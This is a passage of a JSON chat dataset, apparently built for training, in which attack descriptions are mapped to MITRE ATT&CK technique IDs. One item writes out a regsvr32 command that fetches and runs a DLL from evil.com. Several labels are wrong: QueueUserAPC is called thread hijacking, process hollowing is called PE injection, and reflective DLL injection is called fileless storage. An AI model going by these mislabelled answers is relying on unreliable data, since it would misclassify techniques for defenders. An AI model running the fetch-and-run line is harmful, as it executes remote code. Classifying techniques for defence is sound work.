                "content": "The attacker modifies the TLS configuration on the victim server to only allow export‑grade cipher suites, effectively reducing the key length to 40 bits."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom loader uses reflective DLL injection to load an encrypted payload directly from a network share into a process's memory space, bypassing disk storage."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A red team exercise includes launching an ARP cache poisoning attack to intercept HTTP credentials."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Script automates the detection of connected removable storage and replicates user’s home directory onto it."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a compromised AWS SageMaker notebook instance to retrieve temporary credentials from the metadata service and exfiltrate model data."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a C# program that invokes the NetShareGetInfo function to list all shares configured on a host."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performed a recursive crawl of all network shares to collect configuration files."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used compromised credentials to log into the Office 365 admin center and manipulate SharePoint site settings."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update to a photo editing software replaces the client binary, granting the attacker remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary adds a launch daemon that sets up a reverse tunnel to a remote server during the boot process."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate DNS entries of a legitimate domain to point to their malicious infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Windows API function LoadLibraryA to inject a malicious DLL into a trusted process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group manipulates the device's AAA policies to accept any credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the router's ROMMON bootloader to execute a hidden payload during startup."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After completing credential dumping, the threat actor removes network share connections to hide the data transfer path."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious batch file is named \"setup‮.bat\" with an RLO character, causing the command prompt to render the extension incorrectly and execute it inadvertently."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy malware leverages extra window memory injection to embed its code within the memory of a non‑visible window of a trusted service."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leveraged Reflective DLL injection to inject code into a running Windows service."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged a compromised API token to turn off logging and alerting features of the cloud firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the ROM monitor interface, an intruder injects a rogue firmware module that activates before any OS processes start."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a scenario where an attacker uses hidden windows to covertly execute malware."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan installs a cryptographic key that encrypts all user home directories."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use PowerShell to create a new scheduled task that runs with elevated privileges at system startup."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a rogue add‑in for PowerPoint via the HKLM registry hive, ensuring the malicious code runs with system privileges every time PowerPoint starts."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell payload invokes regsvcs to run a hidden .NET payload, using system binary proxy execution techniques."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider copies unprotected OpenVPN client private keys from shared network drives for later reuse."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries insert large blocks of NOP instructions into the executable to obscure the actual payload."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker creates a cron job that runs a stealthy persistence script whenever the system boots."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries track the target’s industry conference participation and trade show appearances to determine times of heightened business activity."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor intercepts the RDP traffic, injects malicious packets, and redirects the remote desktop session to their own control."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs the host's image-building pipeline to produce a tampered container ready for deployment."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script reads the Maildir folders on a compromised Linux host and archives the contents for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a scheduled task via the CreateScheduledTask API to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits open DNS resolvers by sending DNS queries with the victim's IP as the source, resulting in amplified DNS response traffic directed at the victim and causing a denial-of-service condition."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat creates a LaunchAgent that runs a Python script with elevated privileges on system startup."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script encodes exfiltrated data using URL encoding and appends it to GET query parameters."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit the CDN’s API to list all cached assets, looking for patterns that reveal internal server names."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a persistent scheduled task that runs a PowerShell script with highest privileges."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a hybrid encryption scheme where the symmetric key is encrypted with an RSA public key before transmission."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware enumerates all mounted network shares and uploads any .docx files found to a command server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised website hosts an HTML page that performs client‑side deobfuscation of a payload using eval(), allowing the attacker to execute code without triggering antivirus detection."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a macOS vulnerability to modify POSIX permissions of /Applications/Utilities/Terminal.app, allowing execution by any user."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a firmware flashing tool to install a rogue component firmware that runs at power‑on."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware campaign creates a hidden launch agent that starts a tunneling service at boot time."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider gained admin rights and changed the dashboard of the employee portal to display ransom demands."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary queries the AWS EC2 instance metadata service to retrieve IAM role credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a script that periodically truncates the .bash_history file to erase evidence."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Native API to directly access the Windows registry via NtSetValueKey, modifying system settings."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder leverages the \"Get-WmiObject -Class Win32_InstalledStoreProgram\" command to collect software inventory on a Windows endpoint."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor queries the Kubernetes API server for pod and service information via the /api/v1/pods endpoint."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages Azure Functions' HTTP trigger to run PowerShell scripts remotely via the cloud API."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries hijack the Windows MMC (Microsoft Management Console) binary to load malicious modules, allowing execution of payloads under the guise of a trusted system process."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adds high-privilege roles to a container runtime's access control list to manipulate cluster resources."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages QueueUserAPC to queue malicious code into a legitimate process's thread, achieving code execution via thread injection."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leverages PowerShell's -EncodedCommand flag to execute obfuscated commands."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed file encryption on network shares, locking users out of their own data."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom tool performs process hollowing by replacing the code section of a legitimate PE with malicious code and then resuming execution."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfiguration in Gatekeeper's path exception list to whitelist a malicious script and execute it without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a multi‑stage attack, the final stage writes the extracted key files to a removable media device for physical exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom script to scrape email messages from a webmail interface after bypassing multi-factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform a live memory acquisition of securityd to pull out stored SSH private keys."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors infiltrate a legitimate cloud storage provider to store stolen data."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder executes a bash script that calls the Linode API to delete an altered Linode VM and provisions a new instance from a previous image, restoring the original environment."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor plants a batch script that runs \"shutdown -l\" followed by \"shutdown -r\" to force a logoff then reboot sequence."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects malicious JavaScript into a vulnerable website to capture users' session cookies and forward them to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit executes 'docker inspect' on each container to gather configuration and environment variables."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit employs a process hollowing technique that also checks for debugger breakpoints before proceeding."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a PowerShell function to retrieve passwords saved in Windows Credential Manager for service accounts."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use legitimate software deployment tools such as SCCM to push malicious payloads to remote systems."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors corrupt the boot ROM of a firewall, enabling persistence by executing their payload during the system’s initial power‑on self‑test."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email directs the user to run regsvr32 /n /u /i:http://evil.com/bad.dll, causing the DLL to be executed without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploitation of a runtime library vulnerability enables the attacker to evade host‑based intrusion detection systems."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deletes PowerShell transcript logs and clears the command history to remove evidence of their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerability to downgrade a VPN tunnel from AES‑256 to DES encryption."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor removes the GUID Partition Table (GPT) and destroys the filesystem's inode tables."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script employs WMI filters to execute code only on machines matching certain criteria."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stores its executable payload inside the least significant bits of audio files, which are then played by the user to trigger execution."
